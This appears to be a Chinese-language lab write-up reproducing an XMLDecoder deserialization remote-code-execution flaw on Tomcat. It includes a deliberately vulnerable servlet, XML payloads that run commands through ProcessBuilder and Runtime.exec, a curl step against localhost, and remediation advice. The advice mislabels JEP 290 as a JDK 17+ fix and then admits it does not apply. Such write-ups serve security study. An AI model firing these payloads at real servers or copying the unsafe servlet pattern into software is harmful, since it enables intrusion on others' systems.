本文仅用于安全学习、靶场复现与授权测试场景,重点关注漏洞原理、检测思路和修复建议。

XMLDecoder 反序列化漏洞复现笔记

环境信息

项目 版本/路径
JDK 21 (D:\JAVA\jdk-21.0.5.11-hotspot)
Tomcat 8.5.50 (D:\tomcat\apache-tomcat-8.5.50)
应用 /deser (webapps 目录)
端口 8080

启动 Tomcat

1
2
3
4
5
6
7
$env:CATALINA_HOME = "D:\tomcat\apache-tomcat-8.5.50"
$env:JAVA_HOME = "D:\JAVA\jdk-21.0.5.11-hotspot"
$cp = "$env:CATALINA_HOME\bin\bootstrap.jar;$env:CATALINA_HOME\bin\tomcat-juli.jar"
& "$env:JAVA_HOME\bin\java.exe" `
"-Dcatalina.home=$env:CATALINA_HOME" `
"-Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager" `
"-cp" $cp "org.apache.catalina.startup.Bootstrap" "start"

漏洞原理

java.beans.XMLDecoder 是 JDK 自带的 XML 反序列化工具类。

调用 XMLDecoder.readObject() 时,XML 中的 <object> 标签会触发类的无参构造,<void method="xxx"> 会调用对象方法。

攻击者构造恶意 XML,即可实现任意代码执行(RCE)

核心调用链:

1
2
3
4
XMLDecoder.readObject()
→ 解析 <object> 标签 → 实例化 ProcessBuilder
→ 解析 <void method="start"> → 调用 ProcessBuilder.start()
→ 执行系统命令

漏洞代码 (XmlDeserServlet.java)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.io.*;
import java.beans.XMLDecoder;
import javax.servlet.*;
import javax.servlet.http.*;

public class XmlDeserServlet extends HttpServlet {
protected void doPost(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
resp.setContentType("text/html;charset=UTF-8");
try {
InputStream in = req.getInputStream();
XMLDecoder decoder = new XMLDecoder(in);
Object obj = decoder.readObject(); // ← 此处触发反序列化
decoder.close();
resp.getWriter().println("<h2>反序列化成功</h2><pre>" + obj + "</pre>");
} catch (Exception e) {
resp.getWriter().println("<h2>反序列化失败</h2><pre>" + e + "</pre>");
}
}

protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
// 返回测试页面
}
}

攻击 Payload

基础 RCE (执行命令)

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<java class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>cmd.exe</string></void>
<void index="1"><string>/c</string></void>
<void index="2"><string>calc.exe</string></void>
</array>
<void method="start"/>
</object>
</java>

Runtime.exec 方式

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8"?>
<java class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="3">
<void index="0"><string>cmd.exe</string></void>
<void index="1"><string>/c</string></void>
<void index="2"><string>calc.exe</string></void>
</array>
</void>
</object>
</java>

反弹 Shell (PowerShell)

公开版本省略具体反连载荷,仅说明该类 payload 通常会表现为脚本解释器启动、网络外连、长参数命令等特征。复现请限定在本地靶场或授权环境。

写文件

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<java class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>cmd.exe</string></void>
<void index="1"><string>/c</string></void>
<void index="2"><string>echo hacked > D:\tomcat\evidence.txt</string></void>
</array>
<void method="start"/>
</object>
</java>

复现步骤

  1. 编译部署应用
  2. 启动 Tomcat
  3. curl -X POST http://localhost:8080/deser/xml -H "Content-Type: application/xml" -d @payload.xml
  4. 服务端执行命令,RCE 成功

修复方案

方案 说明
禁用 XMLDecoder 直接不用,业务场景极少需要
白名单校验 XML 中 <object> 标签 class 属性只允许安全类
JDK 17+ JEP 290 通过 jdk.serialFilter 限制反序列化类
替换方案 改用 Jackson + 严格类型校验

JEP 290 示例

1
-Djdk.serialFilter=maxbytes=1024;java.lang.*;java.util.*;!*

但 XMLDecoder 不受 JEP 290 管控,最直接的修法是删掉 XMLDecoder


关键结论

  1. XMLDecoder 不在 ObjectInputStream 过滤链内,JEP 290 管不住
  2. ProcessBuilder 是 JDK 自带类,不在任何黑名单中
  3. Runtime.getRuntime().exec() 同样通杀
  4. 修复建议:不用 XMLDecoder